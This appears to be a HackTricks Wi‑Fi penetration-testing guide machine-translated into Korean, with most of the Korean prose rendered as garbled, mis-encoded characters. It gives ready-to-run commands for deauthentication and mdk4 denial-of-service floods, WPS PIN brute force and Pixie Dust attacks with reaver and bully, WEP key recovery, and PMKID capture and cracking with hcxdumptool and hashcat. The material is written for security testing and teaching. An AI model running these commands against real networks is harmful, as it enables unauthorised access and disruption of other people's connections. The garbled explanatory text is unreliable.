Pentesting Wifi
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Wifi ๊ธฐ๋ณธ ๋ช ๋ น
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
๋๊ตฌ
Hijacker & NexMon (Android ๋ด์ฅ Wi-Fi)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
docker๋ก airgeddon ์คํํ๊ธฐ
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
์ถ์ฒ: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
ํด๋น ๋๊ตฌ๋ Evil Twin, KARMA, Known Beacons ๊ณต๊ฒฉ์ ์ํํ ํ phishing template์ ์ด์ฉํด network real password๋ฅผ ํ๋ํ๊ฑฐ๋ social network credentials๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
์ด ๋๊ตฌ๋ WPS/WEP/WPA-PSK ๊ณต๊ฒฉ์ ์๋ํํฉ๋๋ค. ์๋์ผ๋ก ๋ค์์ ์ํํฉ๋๋ค:
- ์ธํฐํ์ด์ค๋ฅผ monitor mode๋ก ์ค์
- ๊ฐ๋ฅํ ๋คํธ์ํฌ๋ฅผ ์ค์บํ๊ณ ํผํด์(๋ค)๋ฅผ ์ ํํ๋๋ก ํจ
- WEP์ธ ๊ฒฝ์ฐ - WEP ๊ณต๊ฒฉ ์คํ
- WPA-PSK์ธ ๊ฒฝ์ฐ
- WPS์ธ ๊ฒฝ์ฐ: Pixie dust attack ๋ฐ bruteforce attack ์คํ(์ฃผ์: brute-force attack์ ๋งค์ฐ ์ค๋ ๊ฑธ๋ฆด ์ ์์). null PIN์ด๋ database/generated PINs๋ ์๋ํ์ง ์์.
- AP์์ PMKID๋ฅผ ์บก์ฒํ์ฌ ํฌ๋์ ์๋ํจ
- AP์ ํด๋ผ์ด์ธํธ๋ค์ deauthenticateํ์ฌ handshake๋ฅผ ์บก์ฒํ๋ ค ์๋ํจ
- PMKID ๋๋ Handshake๊ฐ ์์ผ๋ฉด top5000 passwords๋ฅผ ์ฌ์ฉํด bruteforce ์๋
๊ณต๊ฒฉ ์์ฝ
- DoS
- Deauthentication/disassociation โ ๋ชจ๋ ์ฐ๊ฒฐ ๋๊ธฐ(๋๋ ํน์ ESSID/Client)
- Random fake APs โ ๋คํธ์ํฌ ์จ๊น, ์ค์บ๋ ์ถฉ๋ ๊ฐ๋ฅ
- Overload AP โ AP๋ฅผ ์ค๋จ์ํค๋ ค ์๋(๋ณดํต ํฌ๊ฒ ์ ์ฉํ์ง ์์)
- WIDS โ IDS๋ฅผ ์กฐ์
- TKIP, EAPOL โ ํน์ AP๋ค์ ๋ํด DoS๋ฅผ ์ ๋ฐํ๋ ์ผ๋ถ ํน์ ๊ณต๊ฒฉ
- Cracking
- Crack WEP (์ฌ๋ฌ ๋๊ตฌ์ ๋ฐฉ๋ฒ)
- WPA-PSK
- WPS pin โBrute-Forceโ
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] โ captive portal creds๋ฅผ ์บก์ฒํ๊ฑฐ๋ LAN ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐ ์ ์ฉ
- WPA-PSK Evil Twin โ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ณ ์๋ค๋ฉด ๋คํธ์ํฌ ๊ณต๊ฒฉ์ ์ ์ฉ
- WPA-MGT โ company credentials๋ฅผ ์บก์ฒํ๋ ๋ฐ ์ ์ฉ
- KARMA, MANA, Loud MANA, Known beacon
- + Open โ captive portal creds๋ฅผ ์บก์ฒํ๊ฑฐ๋ LAN ๊ณต๊ฒฉ ์ํ์ ์ ์ฉ
- + WPA โ WPA handshakes๋ฅผ ์บก์ฒํ๋ ๋ฐ ์ ์ฉ
Open / OWE ๋คํธ์ํฌ ๋น ๋ฅธ ๋ฉ๋ชจ
- Passive capture on open SSIDs๋ monitor mode์ tcpdump๋ก ์ฌ์ ํ ์๋ํจ:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption)๋ ์คํ ์ด์ ๋ณ ํค ๊ตํ์ ์ํํ๋ฏ๋ก(PSK ์์) โopenโ SSID์์๋ ๋ฌด์ ํ๋ ์์ด ์ํธํ๋ฉ๋๋ค. WPA3 ๊ธฐ๋ฐ์ด๋ฏ๋ก ์คํธํ๋ deauth/disassoc ํ๋ ์์ ์ฐจ๋จํ๋ 802.11w PMF๋ ์ ์ฉ๋ฉ๋๋ค.
- OWE๋ ๊ฐ์ ์ ์ธ์ฆ์ ์ํํ์ง ์์ต๋๋ค: ๋๊ตฌ๋ associationํ ์ ์์ผ๋ฏ๋ก ๋ง์ผํ ๋ฌธ๊ตฌ๋ฅผ ๋ฏฟ์ง ๋ง๊ณ client isolation์ ํ์ธํ์ธ์. ๊ฒฉ๋ฆฌ๊ฐ ์์ผ๋ฉด ARP spoofing์ด๋ responder-style poisoning ๊ฐ์ ๋ก์ปฌ L2 ๊ณต๊ฒฉ์ด ์ฌ์ ํ ์๋ํฉ๋๋ค.
- Evil Twin์ ๋ ๊ฐํ ์ ํธ๋ฅผ ๋ด์ธ์ open/OWE SSID์์ ์ฌ์ ํ ๊ฐ๋ฅํ๋ฉฐ; PMF๋ ๋จ์ง deauth ์ง๋ฆ๊ธธ์ ์ ๊ฑฐํฉ๋๋ค. ํผํด์๊ฐ ์์กฐ๋ TLS cert๋ฅผ ์๋ฝํ๋ฉด ์์ ํ HTTP(S) MitM์ด ๋ค์ ์ฑ๋ฆฝ๋ฉ๋๋ค.
- ๊ณต๊ฐ ๊ฒ์คํธ WiโFi์์์ ๋ธ๋ก๋์บ์คํธ ํฌ์ด์ฆ๋์ creds/hashes(LLMNR/NBT-NS/mDNS)๋ฅผ ์ฝ๊ฒ ์ป์ ์ ์์ต๋๋ค. ์ฐธ์กฐ:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Packets
์ค๋ช ์ถ์ฒ here:.
Deauthentication ๊ณต๊ฒฉ์ WiโFi ํดํน์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ ๋ฐฉ๋ฒ์ผ๋ก, โmanagementโ ํ๋ ์์ ์์กฐํ์ฌ ์ฅ์น๋ฅผ ๋คํธ์ํฌ์์ ๊ฐ์ ๋ก ๋ถ๋ฆฌ์ํต๋๋ค. ์ด๋ฌํ ์ํธํ๋์ง ์์ ํจํท์ ํด๋ผ์ด์ธํธ๊ฐ ์ ๋นํ ๋คํธ์ํฌ๋ก๋ถํฐ ์จ ๊ฒ์ผ๋ก ์ฐฉ๊ฐํ๊ฒ ๋ง๋ค์ด, ๊ณต๊ฒฉ์๊ฐ ํฌ๋ํน์ ์ํด WPA handshakes๋ฅผ ์์งํ๊ฑฐ๋ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ์ง์์ ์ผ๋ก ๋ฐฉํดํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ์ ์ ์ ๋จ์ํจ ๋๋ฌธ์ ๋์ฑ ์ฐ๋ ค์ค๋ฝ๊ณ , ๋๋ฆฌ ์ฌ์ฉ๋๋ฉฐ ๋คํธ์ํฌ ๋ณด์์ ์ค๋ํ ์ํฅ์ ๋ฏธ์นฉ๋๋ค.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0๋ deauthentication์ ์๋ฏธํฉ๋๋ค
- 1์ ๋ณด๋ผ deauths์ ์์ ๋๋ค (์ํ๋ฉด ์ฌ๋ฌ ๊ฐ ๋ณด๋ผ ์ ์์); 0์ ๊ณ์ ์ ์กํจ์ ์๋ฏธํฉ๋๋ค
- -a 00:14:6C:7E:40:80๋ access point์ MAC address์ ๋๋ค
- -c 00:0F:B5:34:30:30๋ deauthenticateํ client์ MAC address์ ๋๋ค; ์ด ์ต์ ์ ์๋ตํ๋ฉด broadcast deauthentication์ด ์ ์ก๋ฉ๋๋ค(ํญ์ ์๋ํ์ง ์์ ์ ์์)
- ath0๋ ์ธํฐํ์ด์ค ์ด๋ฆ์ ๋๋ค
Disassociation Packets
Disassociation packets, similar to deauthentication packets, are a type of management frame used in Wi-Fi networks. ์ด๋ฌํ ํจํท์ ์ฅ์น(์: ๋ ธํธ๋ถ ๋๋ ์ค๋งํธํฐ)์ access point(AP) ๊ฐ์ ์ฐ๊ฒฐ์ ๋๋ ์ญํ ์ ํฉ๋๋ค. Disassociation์ deauthentication์ ์ฃผ์ ์ฐจ์ด๋ ์ฌ์ฉ ์๋๋ฆฌ์ค์ ์์ต๋๋ค. AP๊ฐ deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, ์ฌ์์ ๋๋ ์ด๋ ์ค์ผ ๋ ์ ์ก๋์ด ์ฐ๊ฒฐ๋ ๋ชจ๋ ๋ ธ๋์ ์ฐ๊ฒฐ์ ํด์ ํด์ผ ํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
์ด ๊ณต๊ฒฉ์ mdk4(mode โdโ)๋ก ์ํํ ์ ์์ต๋๋ค:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4์ ์ถ๊ฐ DOS ๊ณต๊ฒฉ
์์ธํ ๋ด์ฉ์ here.
ATTACK MODE b: Beacon Flooding
ํด๋ผ์ด์ธํธ์ fake APs๋ฅผ ํ์ํ๊ธฐ ์ํด beacon frames๋ฅผ ๋ณด๋ ๋๋ค. ์ด๊ฒ์ ๋๋๋ก network scanners๋ ์ฌ์ง์ด drivers๋ฅผ ์ถฉ๋์ํฌ ์ ์์ต๋๋ค!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
๋ฒ์ ๋ด์์ ์ ๊ทผ ๊ฐ๋ฅํ ๋ชจ๋ Access Points (APs)์ authentication frames๋ฅผ ์ ์กํ๋ฉด, ํนํ ๋ง์ clients๊ฐ ๊ด๋ จ๋ ๊ฒฝ์ฐ ํด๋น APs์ ๊ณผ๋ถํ๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ณผ๋ํ ํธ๋ํฝ์ ์์คํ ๋ถ์์ ์ ์ด๋ํ์ฌ ์ผ๋ถ APs๊ฐ ๋ฉ์ถ๊ฑฐ๋ ์ฌ์ง์ด ๋ฆฌ์ ๋ ์ ์์ต๋๋ค.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs)๋ SSID๊ฐ ์ ๋๋ก ๋๋ฌ๋๋์ง ํ์ธํ๊ณ AP์ ์ ํ ๋ฒ์๋ฅผ ํ์ธํฉ๋๋ค. ์ด ๊ธฐ์ ์ wordlist ์ ๋ฌด์ ๊ด๊ณ์์ด bruteforcing hidden SSIDs์ ๊ฒฐํฉ๋์ด ์จ๊ฒจ์ง ๋คํธ์ํฌ๋ฅผ ์๋ณํ๊ณ ์ ๊ทผํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
ATTACK MODE m: Michael Countermeasures Exploitation
๋ฌด์์ ๋๋ ์ค๋ณต ํจํท์ ์๋ก ๋ค๋ฅธ QoS queues๋ก ์ ์กํ๋ฉด TKIP APs์์ Michael Countermeasures๋ฅผ ์ ๋ฐํ์ฌ AP๊ฐ 1๋ถ๊ฐ ์ ง๋ค์ด๋ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ํจ์จ์ ์ธ DoS (Denial of Service) ๊ณต๊ฒฉ ์ ์ ์ ๋๋ค.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
AP์ EAPOL Start frames๋ฅผ ๋๋์ผ๋ก ์ ์กํ๋ฉด fake sessions๊ฐ ์์ฑ๋์ด AP๊ฐ ๊ณผ๋ถํ๋๊ณ ์ ์์ ์ธ ํด๋ผ์ด์ธํธ ์ ์์ด ์ฐจ๋จ๋ฉ๋๋ค. ๋๋ fake EAPOL Logoff messages๋ฅผ ์ฃผ์ ํ๋ฉด ํด๋ผ์ด์ธํธ๋ฅผ ๊ฐ์ ๋ก ์ฐ๊ฒฐ ํด์ ํ ์ ์์ผ๋ฉฐ, ๋ ๋ฐฉ๋ฒ ๋ชจ๋ ๋คํธ์ํฌ ์๋น์ค๋ฅผ ํจ๊ณผ์ ์ผ๋ก ๋ฐฉํดํฉ๋๋ค.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: IEEE 802.11s ๋ฉ์ ๋คํธ์ํฌ์ ๋ํ ๊ณต๊ฒฉ
๋ฉ์ ๋คํธ์ํฌ์์์ ๋งํฌ ๊ด๋ฆฌ ๋ฐ ๋ผ์ฐํ ์ ๋ํ ๋ค์ํ ๊ณต๊ฒฉ.
ATTACK MODE w: WIDS ํผ๋
ํด๋ผ์ด์ธํธ๋ฅผ ์ฌ๋ฌ WDS ๋ ธ๋๋ ๊ฐ์ง rogue APs์ ๊ต์ฐจ ์ฐ๊ฒฐํ๋ฉด Intrusion Detection and Prevention Systems๋ฅผ ์กฐ์ํ์ฌ ํผ๋๊ณผ ์ ์ฌ์ ์์คํ ๋จ์ฉ์ ์ด๋ํ ์ ์๋ค.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
๋ค์ํ ํจํท ์์ค์ ํจํท ์กฐ์์ ์ํ ํฌ๊ด์ ์ธ ์์ ์ ์ธํธ๋ฅผ ๊ฐ์ถ packet fuzzer์ ๋๋ค.
Airggedon
_Airgeddon_๋ ์ด์ ํญ๋ชฉ์์ ์ ์ํ ๋๋ถ๋ถ์ ๊ณต๊ฒฉ์ ์ ๊ณตํฉ๋๋ค:
.png)
WPS
WPS (Wi-Fi Protected Setup)๋ ๋ผ์ฐํฐ์ ์ฅ์น๋ฅผ ์ฐ๊ฒฐํ๋ ๊ณผ์ ์ ๋จ์ํํ์ฌ WPA ๋๋ WPA2 Personal๋ก ์ํธํ๋ ๋คํธ์ํฌ์ ์ค์ ์๋์ ํธ์์ฑ์ ํฅ์์ํต๋๋ค. ์ฝ๊ฒ ๋ซ๋ฆฌ๋ WEP ๋ณด์์๋ ํจ๊ณผ์ ์ด์ง ์์ต๋๋ค. WPS๋ 8์๋ฆฌ PIN์ ์ฌ์ฉํ๋ฉฐ, ๋ ๋ถ๋ถ์ผ๋ก ๊ฒ์ฆ๋๊ธฐ ๋๋ฌธ์ ์กฐํฉ ์๊ฐ ์ ํ๋์ด(์ฝ 11,000๊ฐ์ง) ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ ์ทจ์ฝํฉ๋๋ค.
WPS Bruteforce
์ด๋ฅผ ์ํํ๋ ์ฃผ์ ๋๊ตฌ๋ 2๊ฐ์ง์ ๋๋ค: Reaver์ Bully.
- Reaver๋ WPS์ ๋ํ ๊ฒฌ๊ณ ํ๊ณ ์ค์ฉ์ ์ธ ๊ณต๊ฒฉ์ผ๋ก ์ค๊ณ๋์์ผ๋ฉฐ, ๋ค์ํ ์ก์ธ์ค ํฌ์ธํธ์ WPS ๊ตฌํ์ ๋์์ผ๋ก ํ ์คํธ๋์์ต๋๋ค.
- Bully๋ C๋ก ์์ฑ๋ WPS brute force ๊ณต๊ฒฉ์ ์๋ก์ด ๊ตฌํ์ ๋๋ค. ์๋ Reaver ์ฝ๋์ ๋นํด ๋ช ๊ฐ์ง ์ฅ์ ์ด ์์ต๋๋ค: ์์กด์ฑ ๊ฐ์, ํฅ์๋ ๋ฉ๋ชจ๋ฆฌ ๋ฐ CPU ์ฑ๋ฅ, ์ฌ๋ฐ๋ฅธ ์๋์ ์ฒ๋ฆฌ, ๊ทธ๋ฆฌ๊ณ ๋ ๊ฒฌ๊ณ ํ ์ต์ ์ธํธ.
์ด ๊ณต๊ฒฉ์ WPS PINโs vulnerability๋ฅผ ์ ์ฉํ๋ฉฐ, ํนํ ์ฒ์ ๋ค ์๋ฆฌ์ ๋ ธ์ถ๊ณผ ๋ง์ง๋ง ์๋ฆฌ์ ์ฒดํฌ์ฌ ์ญํ ๋๋ฌธ์ brute-force ๊ณต๊ฒฉ์ด ์ฌ์์ง๋๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์ ์ธ ํ์๋ฅผ ํ๋ ๊ณต๊ฒฉ์์ blocking MAC addresses์ ๊ฐ์ ๋ฌด์ฐจ๋ณ ๋์ ๋ฐฉ์ด๊ฐ ์์ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์ ๊ณ์ํ๋ ค๋ฉด MAC address rotation์ด ํ์ํฉ๋๋ค.
Bully๋ Reaver์ ๊ฐ์ ๋๊ตฌ๋ก WPS PIN์ ์ป์ผ๋ฉด ๊ณต๊ฒฉ์๋ WPA/WPA2 PSK๋ฅผ ์ ์ถํ ์ ์์ด ์ง์์ ์ธ ๋คํธ์ํฌ ์ ๊ทผ์ ํ๋ณดํ ์ ์์ต๋๋ค.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
์ด ์ ๊ตํ ์ ๊ทผ๋ฒ์ ์๋ ค์ง ์ทจ์ฝ์ ์ ์ด์ฉํด WPS PINs๋ฅผ ๊ณต๋ตํฉ๋๋ค:
- ์ฌ์ ๋ฐ๊ฒฌ๋ PINs: ์ผ๊ด๋ WPS PINs๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ์๋ ค์ง ํน์ ์ ์กฐ์ฌ์ ์ฐ๊ด๋ ์๋ ค์ง PINs ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ํ์ฉํฉ๋๋ค. ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ MAC-addresses์ ์ฒ์ ์ธ octets๊ณผ ํด๋น ์ ์กฐ์ฌ์ ๋ํด ๊ฐ๋ฅ์ฑ์ด ๋์ PINs๋ฅผ ์ฐ๊ด์ํต๋๋ค.
- PIN ์์ฑ ์๊ณ ๋ฆฌ์ฆ: ComputePIN ๋ฐ EasyBox์ ๊ฐ์ ์๊ณ ๋ฆฌ์ฆ์ ํ์ฉํ์ฌ AP์ MAC-address๋ฅผ ๊ธฐ๋ฐ์ผ๋ก WPS PINs๋ฅผ ๊ณ์ฐํฉ๋๋ค. Arcadyan ์๊ณ ๋ฆฌ์ฆ์ ์ถ๊ฐ๋ก device ID๊ฐ ํ์ํด PIN ์์ฑ ๊ณผ์ ์ ํ ์ธต์ ๋ํฉ๋๋ค.
WPS Pixie Dust attack
Dominique Bongard์ ์ผ๋ถ Access Points (APs)์์ ๋น๋ฐ ์ฝ๋์ธ nonces(E-S1 ๋ฐ E-S2) ์์ฑ๊ณผ ๊ด๋ จํ ๊ฒฐํจ์ ๋ฐ๊ฒฌํ์ต๋๋ค. ์ด nonces๋ฅผ ์์๋ผ ์ ์๋ค๋ฉด AP์ WPS PIN์ ๊นจ๋ ๊ฒ์ ์ฌ์์ง๋๋ค. AP๋ PIN์ ํน๋ณํ ์ฝ๋ (hash) ์์ ํฌํจ์์ผ ์ ๋นํ ์ฅ์น์ด๋ฉฐ ๊ฐ์ง (rogue) AP๊ฐ ์๋์ ์ฆ๋ช ํฉ๋๋ค. ์ด nonces๋ ๋ณธ์ง์ ์ผ๋ก WPS PIN์ ๋ด๊ณ ์๋ โ๊ธ๊ณ โ๋ฅผ ์ฌ๋ โ์ด์ โ์ ๋๋ค. ์์ธํ ๋ด์ฉ์ here์์ ํ์ธํ ์ ์์ต๋๋ค.
๊ฐ๋จํ ๋งํ๋ฉด, ๋ฌธ์ ๋ ์ผ๋ถ APs๊ฐ ์ฐ๊ฒฐ ๊ณผ์ ์์ PIN์ ์ํธํํ ๋ ์ถฉ๋ถํ ๋๋คํ ํค๋ฅผ ์ฌ์ฉํ์ง ์์๋ค๋ ๊ฒ์ ๋๋ค. ์ด๋ก ์ธํด PIN์ ๋คํธ์ํฌ ์ธ๋ถ์์ ์ถ์ธก๋ ์ ์์ด (offline brute force attack)์ ์ทจ์ฝํด์ง๋๋ค.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
๋๋ฐ์ด์ค๋ฅผ monitor mode๋ก ์ ํํ๊ธฐ ์ซ๊ฑฐ๋ reaver์ bully์ ๋ฌธ์ ๊ฐ ์์ ๊ฒฝ์ฐ, OneShot-C๋ฅผ ์๋ํด ๋ณผ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ monitor mode๋ก ์ ํํ์ง ์๊ณ ๋ Pixie Dust attack์ ์ํํ ์ ์์ต๋๋ค.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
์ค๊ณ๊ฐ ๋ถ์คํ ์ผ๋ถ ์์คํ
์ Null PIN(๋น PIN ๋๋ ์กด์ฌํ์ง ์๋ PIN)์ผ๋ก๋ ์ ๊ทผ์ ํ์ฉํ๋ ๊ฒฝ์ฐ๊ฐ ์์ด, ์ด๋ ๋งค์ฐ ์ด๋ก์ ์
๋๋ค.
๋๊ตฌ Reaver๋ ์ด ์ทจ์ฝ์ ์ ํ
์คํธํ ์ ์์ง๋ง Bully๋ ๊ทธ๋ ์ง ์์ต๋๋ค.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
All the proposed WPS attacks can be easily performed using airgeddon.
.png)
- 5 and 6 lets you try ์ฌ์ฉ์ ์ง์ PIN (์๋ ๊ฒฝ์ฐ)
- 7 and 8 perform the Pixie Dust attack
- 13 allows you to test the NULL PIN
- 11 and 12 will ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์ ํํ AP์ ๊ด๋ จ๋ PIN๋ค์ ์ฌ์์งํ๊ณ ๊ฐ๋ฅํ PIN๋ค์ ์์ฑํ๊ธฐ ์ํด ComputePIN, EasyBox ๋ฐ ์ ํ์ ์ผ๋ก Arcadyan(๊ถ์ฅ, ์ ์ ํด?)์ ์ฌ์ฉํ๋ค
- 9 and 10 will test ๋ชจ๋ ๊ฐ๋ฅํ PIN
WEP
์ ๋ฌด๋์ง๋๊ฐ
- RC4 seed๋ ๋จ์ง IV (24 bits) + shared key์ด๋ค. IV๋ cleartext์ด๊ณ , ์๋ค(2^24), ๊ทธ๋ฆฌ๊ณ ๋น ๋ฅด๊ฒ ๋ฐ๋ณต๋๋ฏ๋ก ๋์ผํ IV๋ฅผ ๊ฐ์ง ciphertexts๋ keystream์ ์ฌ์ฌ์ฉํ๋ค.
- XORing ๋ ciphertexts๊ฐ ๋์ผํ keystream์ ๊ฐ์ง ๊ฒฝ์ฐ
PlaintextA โ PlaintextBleaks; ์์ธก ๊ฐ๋ฅํ headers + RC4 KSA biases (FMS)๋ ํค ๋ฐ์ดํธ์ ๋ํด โvoteโํ๊ฒ ํด์ค๋ค. PTW๋ ARP traffic์ ์ฌ์ฉํด ์ด๋ฅผ ์ต์ ํํ์ฌ ํ์ํ ํจํท ์๋ฅผ ์๋ฐฑ๋ง์์ ์๋ง์ผ๋ก ์ค์ธ๋ค. - ๋ฌด๊ฒฐ์ฑ์ ๋จ์ง CRC32(์ ํ/๋ฌดํค)๋ฟ์ด๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ํค ์์ด ๋นํธ๋ฅผ ๋ค์ง๊ณ CRC32๋ฅผ ๋ค์ ๊ณ์ฐํ ์ ์๋ค โ IV๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ๋์ packet forgery/replay/ARP injection์ด ๊ฐ๋ฅํ๋ค.
Practical break is deterministic:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Airgeddon์ ์ฌ์ ํ ์๋ดํ UI๋ฅผ ์ ํธํ๋ค๋ฉด โAll-in-Oneโ WEP ์ํฌํ๋ก๋ฅผ ์ ๊ณตํฉ๋๋ค.
.png)
WPA/WPA2 PSK
PMKID
In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesnโt require any clients to be connected to the target APโjust interaction between the attacker and the AP.
๋ง์ ์ต์ ๋ผ์ฐํฐ๋ ์ฐ๊ฒฐ(association) ์ค ์ฒซ ๋ฒ์งธ EAPOL ํ๋ ์์ Robust Security Network๋ก ์๋ ค์ง ์ ํ์ ํ๋๋ฅผ ์ถ๊ฐํฉ๋๋ค. ์ด ํ๋์๋ PMKID๊ฐ ํฌํจ๋ฉ๋๋ค.
As the original post explains, the PMKID is created using known data:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
โPMK Nameโ์ด ๊ณ ์ ๋์ด ์๊ณ , AP์ BSSID์ station์ ์๊ณ ์์ผ๋ฉฐ PMK๊ฐ ์ ์ฒด 4-way handshake์ ๊ฒ๊ณผ ๋์ผํ๋ฏ๋ก, hashcat์ ์ด ์ ๋ณด๋ฅผ ์ฌ์ฉํด PSK๋ฅผ ํฌ๋ํ๊ณ passphrase๋ฅผ ๋ณต๊ตฌํ ์ ์์ต๋๋ค!
์ด ์ ๋ณด๋ฅผ gatherํ๊ณ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ก์ปฌ์์ bruteforceํ๊ธฐ ์ํด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured๋ console์ ํ์๋๋ฉฐ ๋ํ _ /tmp/attack.pcap_.
์ด์ capture๋ฅผ hashcat/john format์ผ๋ก ๋ณํํ๊ณ crackํ์ธ์:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
